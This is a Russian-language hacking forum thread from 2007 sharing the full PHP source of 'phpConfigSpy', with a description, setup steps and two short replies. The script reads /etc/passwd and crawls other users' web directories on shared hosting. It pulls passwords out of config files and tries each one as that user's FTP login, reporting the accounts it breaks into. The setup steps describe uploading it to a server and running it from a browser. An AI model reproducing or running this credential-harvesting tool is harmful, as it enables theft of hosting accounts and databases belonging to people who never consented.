phpConfigSpy v0.2

Discussion in 'PHP' started by OptimaPrime, 27 Jul 2007.

  1. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    [Описание]

    phpConfigSpy - скрипт, автоматизирующий процесс поиска файлов конфигурации (например, config.php) форумов, досок объявлений, админ панелей в директориях вида /home/имя_пользователя/public_html и всех подкаталогов, если они доступны для чтения пользователю, под правами которого запущен скрипт.
    После того как скрипт находит файл по маске, которую без труда можно изменить, как и параметры директорийй для поиска, он ищет в файле конфигурации пароль по шаблону (например, $password = "preved"), если пароль найден, то скрипт пробует пройти аутентификацию на фтп сервере машины, на которой запущен скрипт, в качестве логина и пароля, используется имя пользователя, в директории которого был найден конфигурационный файл, а в качестве пароля - пароль, найденный в файле конфигурации.
    Если аутентификация прошла успешно, то скрипт выдаёт уведомление о полученном фтп аккаунте.

    [Source]
    <?php
    /*
    phpConfigSpy v0.2
    coded by p-range #645552
    (c) http://p-range.info
    */
    echo '<html><head><title>phpConfigSpy v0.2</title></head><body>';
    ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
    set_time_limit(0);
    ###################
    @$passwd = fopen('/etc/passwd','r');
    if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
    $pub = array();
    $users = array();
    $conf = array();
    $i = 0;
    while(!feof($passwd))
    {
    $str = fgets($passwd);
    if ($i > 35)
    {
    $pos = strpos($str,':');
    $username = substr($str,0,$pos);
    $dirz = '/home/'.$username.'/public_html/';
    if (($username != ''))
    {
    if (is_readable($dirz))
    {
    array_push($users,$username);
    array_push($pub,$dirz);
    }
    }
    }
    $i++;
    }
    ###################
    echo '<br><br><textarea cols="100" rows="20">';
    echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
    echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
    echo "[~] Searching for passwords in config files...\n\n";
    foreach ($users as $user)
    {
    $path = "/home/$user/public_html/";
    read_dir($path,$user);
    }
    echo "\n[+] Done\n";
    function read_dir($path,$username)
    {
    if ($handle = opendir($path))
    {
    while (false !== ($file = readdir($handle)))
    {
    $fpath = "$path$file";
    if (($file != '.') and ($file != '..'))
    {
    if (is_readable($fpath))
    {
    $dr = $fpath."/";
    if (is_dir($dr))
    {
    read_dir($dr,$username);
    }
    else
    {
    if (
    ($file=='config.php')
    or ($file=='config.inc.php')
    or ($file=='conf.php')
    or ($file=='settings.php')
    or ($file=='setup.php')
    or ($file=='dbconf.php')
    or ($file=='dbconfig.php')
    or ($file=='db.inc.php')
    or ($file=='dbconnect.php')
    or ($file=='connect.php')
    or ($file=='index.php')
    or ($file=='common.php')
    or ($file=='config_global.php')
    or ($file=='db.php')
    or ($file=='connect.inc.php')
    or ($file=='dbconnect.inc.php'))
    {
    $pass = get_pass($fpath);
    if ($pass != '')
    {
    echo "[+] $fpath\n$pass\n";
    ftp_check($username,$pass);
    }
    }
    }
    }
    }
    }
    }
    }
    function get_pass($link)
    {
    @$config = fopen($link,'r');
    while(!feof($config))
    {
    $line = fgets($config);
    if (strstr($line,'pass')
    or strstr($line,'pwd')
    or strstr($line,'db_pass')
    or strstr($line,'dbpass')
    or strstr($line,'passwd'))
    {
    if (strrpos($line,'"'))
    {
    preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
    $pass = str_replace("]=\"","",$pass);
    }

    else
    preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
    $pass = str_replace("]='","",$pass);
    return $pass[2];
    }
    }
    }
    function ftp_check($login,$pass)
    {
    @$ftp = ftp_connect('127.0.0.1');
    if ($ftp)
    {
    @$res = ftp_login($ftp,$login,$pass);
    if ($res)
    {
    echo '[FTP] '.$login.':'.$pass." Success !\n";
    }
    else ftp_quit($ftp);
    }
    }
    echo '</textarea><br><br>Coded by <b>$re@m3r</b> & <b>p-range</b> <a href=http://p-range.info>p-range.info</a></body></html>';
    ?>
    сори просто чет у мну пхп код не пахет)

    [Установка]

    phpConfigSpy работает только при SAFE_MODE = OFF.
    Для установки просто отредактируйте 24 строку скрипта:
    и 43 стоку:
    на соответствующий путь до веб-директории пользователей.
    Затем заливайте на сервер и запускайте через браузер.

    [Что нового]
    В новой версии исправлены баги, при которых в некоторых случаях пароль выбирался не полностью или с ошибками. Улучшена система поиска паролей.

    Последнюю версию скрипта можно скачать здесь http://p-range.info/pub/phpconfigspy.txt

    Coded by p-range & $re@m3r
    (с)web-hack.ru
     
  2. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Пользуйся тегом
    PHP:
     он не кусается)
     
  3. Raz0r

    Raz0r Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    126
    Likes Received:
    20
    Reputations:
    0
    =\ в любом шелле есть такая хрень, а что если я конфиг назову xyuyznaew.php ? =\ кстати я так и делаю